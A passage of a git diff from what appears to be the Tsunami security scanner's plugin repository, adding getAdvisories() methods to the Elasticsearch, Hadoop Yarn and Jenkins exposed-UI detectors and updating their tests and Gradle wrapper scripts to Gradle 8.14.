+45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/exposedui/elasticsearch/src/main/java/com/google/tsunami/plugins/detectors/exposedui/elasticsearch/ElasticsearchApiExposedDetector.java b/google/detectors/exposedui/elasticsearch/src/main/java/com/google/tsunami/plugins/detectors/exposedui/elasticsearch/ElasticsearchApiExposedDetector.java index 6a5cb8dd4..055487bb9 100644 --- a/google/detectors/exposedui/elasticsearch/src/main/java/com/google/tsunami/plugins/detectors/exposedui/elasticsearch/ElasticsearchApiExposedDetector.java +++ b/google/detectors/exposedui/elasticsearch/src/main/java/com/google/tsunami/plugins/detectors/exposedui/elasticsearch/ElasticsearchApiExposedDetector.java @@ -65,6 +65,11 @@ public final class ElasticsearchApiExposedDetector implements VulnDetector { this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of(getAdvisory(AdditionalDetail.getDefaultInstance())); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -79,6 +84,23 @@ public DetectionReportList detect( .build(); } + Vulnerability getAdvisory(AdditionalDetail details) { + return Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("GOOGLE") + .setValue("ELASTICSEARCH_API_EXPOSED")) + .setSeverity(Severity.CRITICAL) + .setTitle("Elasticsearch API Exposed") + .setDescription("Elasticsearch API endpoint is exposed.") + .setRecommendation( + "Do not expose Elasticsearch externally.\n" + + "Bind it to localhost, or run it on a host that is not exposed to the" + + " Internet.") + .addAdditionalDetails(details) + .build(); + } + /** Checks if a {@link NetworkService} has a Elasticsearch REST API endpoint exposed. */ private boolean isServiceVulnerable(NetworkService networkService) { String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); @@ -117,20 +139,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("ELASTICSEARCH_API_EXPOSED")) - .setSeverity(Severity.CRITICAL) - .setTitle("Elasticsearch API Exposed") - .setDescription("Elasticsearch API endpoint is exposed.") - .setRecommendation( - "Do not expose Elasticsearch externally.\n" - + "Bind it to localhost, or run it on a host that is not exposed to the" - + " Internet.") - .addAdditionalDetails(AdditionalDetail.newBuilder().setTextData(details))) + .setVulnerability(getAdvisory(AdditionalDetail.newBuilder().setTextData(details).build())) .build(); } } diff --git a/google/detectors/exposedui/elasticsearch/src/test/java/com/google/tsunami/plugins/detectors/exposedui/elasticsearch/ElasticsearchApiExposedDetectorTest.java b/google/detectors/exposedui/elasticsearch/src/test/java/com/google/tsunami/plugins/detectors/exposedui/elasticsearch/ElasticsearchApiExposedDetectorTest.java index 3bfdc9569..ec67162e4 100644 --- a/google/detectors/exposedui/elasticsearch/src/test/java/com/google/tsunami/plugins/detectors/exposedui/elasticsearch/ElasticsearchApiExposedDetectorTest.java +++ b/google/detectors/exposedui/elasticsearch/src/test/java/com/google/tsunami/plugins/detectors/exposedui/elasticsearch/ElasticsearchApiExposedDetectorTest.java @@ -33,13 +33,10 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TextData; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -105,28 +102,16 @@ public void detect_whenApiEndpointExposed_reportsVuln() throws IOException { .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("ELASTICSEARCH_API_EXPOSED")) - .setSeverity(Severity.CRITICAL) - .setTitle("Elasticsearch API Exposed") - .setDescription("Elasticsearch API endpoint is exposed.") - .setRecommendation( - "Do not expose Elasticsearch externally.\n" - + "Bind it to localhost, or run it on a host that is not exposed to" - + " the Internet.") - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder() - .setText( - String.format( - "The Elasticsearch REST API endpoint at" - + " http://%s:%d/ is exposed.", - mockWebServer.getHostName(), - mockWebServer.getPort()))))) + detector.getAdvisory( + AdditionalDetail.newBuilder() + .setTextData( + TextData.newBuilder() + .setText( + String.format( + "The Elasticsearch REST API endpoint at" + + " http://%s:%d/ is exposed.", + mockWebServer.getHostName(), mockWebServer.getPort()))) + .build())) .build()); } diff --git a/google/detectors/exposedui/hadoop/yarn/gradle/wrapper/gradle-wrapper.jar b/google/detectors/exposedui/hadoop/yarn/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/exposedui/hadoop/yarn/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/exposedui/hadoop/yarn/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/exposedui/hadoop/yarn/gradle/wrapper/gradle-wrapper.properties b/google/detectors/exposedui/hadoop/yarn/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/exposedui/hadoop/yarn/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/exposedui/hadoop/yarn/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/exposedui/hadoop/yarn/gradlew b/google/detectors/exposedui/hadoop/yarn/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/exposedui/hadoop/yarn/gradlew +++ b/google/detectors/exposedui/hadoop/yarn/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/exposedui/hadoop/yarn/gradlew.bat b/google/detectors/exposedui/hadoop/yarn/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/exposedui/hadoop/yarn/gradlew.bat +++ b/google/detectors/exposedui/hadoop/yarn/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/exposedui/hadoop/yarn/src/main/java/com/google/tsunami/plugins/detectors/exposedui/hadoop/yarn/YarnExposedManagerApiDetector.java b/google/detectors/exposedui/hadoop/yarn/src/main/java/com/google/tsunami/plugins/detectors/exposedui/hadoop/yarn/YarnExposedManagerApiDetector.java index 4d4795298..aaeb97824 100644 --- a/google/detectors/exposedui/hadoop/yarn/src/main/java/com/google/tsunami/plugins/detectors/exposedui/hadoop/yarn/YarnExposedManagerApiDetector.java +++ b/google/detectors/exposedui/hadoop/yarn/src/main/java/com/google/tsunami/plugins/detectors/exposedui/hadoop/yarn/YarnExposedManagerApiDetector.java @@ -81,7 +81,7 @@ public final class YarnExposedManagerApiDetector implements VulnDetector { private static final int POLLING_ATTEMPTS = 30; @Inject - public YarnExposedManagerApiDetector( + YarnExposedManagerApiDetector( @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) { this.utcClock = checkNotNull(utcClock); this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); @@ -110,6 +110,25 @@ public DetectionReportList detect( return detectionReports; } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId(VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue(VULN_ID)) + .setSeverity(Severity.CRITICAL) + .setTitle("Hadoop Yarn Unauthenticated ResourceManager API") + // TODO(b/147455448): determine CVSS score. + .setDescription( + "Hadoop Yarn ResourceManager controls the computation and storage resources of" + + " a Hadoop cluster. Unauthenticated ResourceManager API allows any" + + " remote users to create and execute arbitrary applications on the" + + " host.") + .setRecommendation( + "Set up authentication by following the instructions at" + + " https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/HttpAuthentication.html.") + .build()); + } + private boolean isUnauthenticatedYarnManager(NetworkService networkService) { // Unauthenticated Yarn always identifies user as "dr.who". String clusterInfoUrl = @@ -145,20 +164,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId(VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue(VULN_ID)) - .setSeverity(Severity.CRITICAL) - .setTitle("Hadoop Yarn Unauthenticated ResourceManager API") - // TODO(b/147455448): determine CVSS score. - .setDescription( - "Hadoop Yarn ResourceManager controls the computation and storage resources of" - + " a Hadoop cluster. Unauthenticated ResourceManager API allows any" - + " remote users to create and execute arbitrary applications on the" - + " host.") - .setRecommendation( - "Set up authentication by following the instructions at" - + " https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/HttpAuthentication.html.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } diff --git a/google/detectors/exposedui/hadoop/yarn/src/test/java/com/google/tsunami/plugins/detectors/exposedui/hadoop/yarn/YarnExposedManagerApiDetectorTest.java b/google/detectors/exposedui/hadoop/yarn/src/test/java/com/google/tsunami/plugins/detectors/exposedui/hadoop/yarn/YarnExposedManagerApiDetectorTest.java index 6b76485b6..8b877c8fb 100644 --- a/google/detectors/exposedui/hadoop/yarn/src/test/java/com/google/tsunami/plugins/detectors/exposedui/hadoop/yarn/YarnExposedManagerApiDetectorTest.java +++ b/google/detectors/exposedui/hadoop/yarn/src/test/java/com/google/tsunami/plugins/detectors/exposedui/hadoop/yarn/YarnExposedManagerApiDetectorTest.java @@ -38,12 +38,9 @@ import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; import com.google.tsunami.proto.ServiceContext; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import com.google.tsunami.proto.WebServiceContext; import java.io.IOException; import java.security.SecureRandom; @@ -63,23 +60,6 @@ /** Tests for {@link YarnExposedManagerApiDetector}. */ @RunWith(JUnit4.class) public final class YarnExposedManagerApiDetectorTest { - private static final Vulnerability DETECTED_VULNERABILITY = - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("HADOOP_YARN_UNAUTHENTICATED_RESOURCE_MANAGER_API")) - .setSeverity(Severity.CRITICAL) - .setTitle("Hadoop Yarn Unauthenticated ResourceManager API") - .setDescription( - "Hadoop Yarn ResourceManager controls the computation and storage" - + " resources of a Hadoop cluster. Unauthenticated ResourceManager" - + " API allows any remote users to create and execute arbitrary" - + " applications on the host.") - .setRecommendation( - "Set up authentication by following the instructions at" - + " https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/HttpAuthentication.html.") - .build(); private final FakeUtcClock fakeUtcClock = FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); @@ -160,7 +140,7 @@ public void detect_whenUnauthenticatedYarnSuccessfullyCreatesNewApplication_repo .setNetworkService(httpServices.get(0)) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(DETECTED_VULNERABILITY) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } @@ -205,7 +185,7 @@ public void detect_whenUnauthenticatedYarnServesOnNonEmptyRoot_reportsVuln() thr .setNetworkService(httpServices.get(0)) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(DETECTED_VULNERABILITY) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/exposedui/jenkins/gradle/wrapper/gradle-wrapper.jar b/google/detectors/exposedui/jenkins/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/exposedui/jenkins/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/exposedui/jenkins/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/exposedui/jenkins/gradle/wrapper/gradle-wrapper.properties b/google/detectors/exposedui/jenkins/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/exposedui/jenkins/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/exposedui/jenkins/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/exposedui/jenkins/gradlew b/google/detectors/exposedui/jenkins/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/exposedui/jenkins/gradlew +++ b/google/detectors/exposedui/jenkins/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/exposedui/jenkins/gradlew.bat b/google/detectors/exposedui/jenkins/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/exposedui/jenkins/gradlew.bat +++ b/google/detectors/exposedui/jenkins/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/exposedui/jenkins/src/main/java/com/google/tsunami/plugins/detectors/exposedui/jenkins/JenkinsExposedUiDetector.java b/google/detectors/exposedui/jenkins/src/main/java/com/google/tsunami/plugins/detectors/exposedui/jenkins/JenkinsExposedUiDetector.java index c4c0da357..377ddc10f 100644 --- a/google/detectors/exposedui/jenkins/src/main/java/com/google/tsunami/plugins/detectors/exposedui/jenkins/JenkinsExposedUiDetector.java +++ b/google/detectors/exposedui/jenkins/src/main/java/com/google/tsunami/plugins/detectors/exposedui/jenkins/JenkinsExposedUiDetector.java @@ -86,6 +86,25 @@ public JenkinsExposedUiDetector(@UtcClock Clock utcClock, HttpClient httpClient) this.httpClient = checkNotNull(httpClient); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("GOOGLE") + .setValue("UNAUTHENTICATED_JENKINS_NEW_ITEM_CONSOLE")) + .setSeverity(Severity.CRITICAL) + .setTitle("Unauthenticated Jenkins New Item Console") + // TODO(b/147455413): determine CVSS score. + .setDescription( + "Unauthenticated Jenkins instance allows anonymous users to create arbitrary" + + " projects, which usually leads to code downloading from the internet and" + + " remote code executions.") + .setRecommendation(FINDING_RECOMMENDATION_TEXT) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -128,20 +147,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("UNAUTHENTICATED_JENKINS_NEW_ITEM_CONSOLE")) - .setSeverity(Severity.CRITICAL) - .setTitle("Unauthenticated Jenkins New Item Console") - // TODO(b/147455413): determine CVSS score. - .setDescription( - "Unauthenticated Jenkins instance allows anonymous users to create arbitrary" - + " projects, which usually leads to code downloading from the internet" - + " and remote code executions.") - .setRecommendation(FINDING_RECOMMENDATION_TEXT)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } diff --git a/google/detectors/exposedui/joomla_install/gradle/wrapper/gradle-wrapper.jar b/google/detectors/exposedui/joomla_install/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/exposedui/joomla_install/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/exposedui/joomla_install/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/exposedui/joomla_install/gradle/wrapper/gradle-wrapper.properties b/google/detectors/exposedui/joomla_install/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/exposedui/joomla_install/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/exposedui/joomla_install/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/exposedui/joomla_install/gradlew b/google/detectors/exposedui/joomla_install/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/exposedui/joomla_install/gradlew +++ b/google/detectors/exposedui/joomla_install/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/exposedui/joomla_install/gradlew.bat b/google/detectors/exposedui/joomla_install/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/exposedui/joomla_install/gradlew.bat +++ b/google/detectors/exposedui/joomla_install/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set 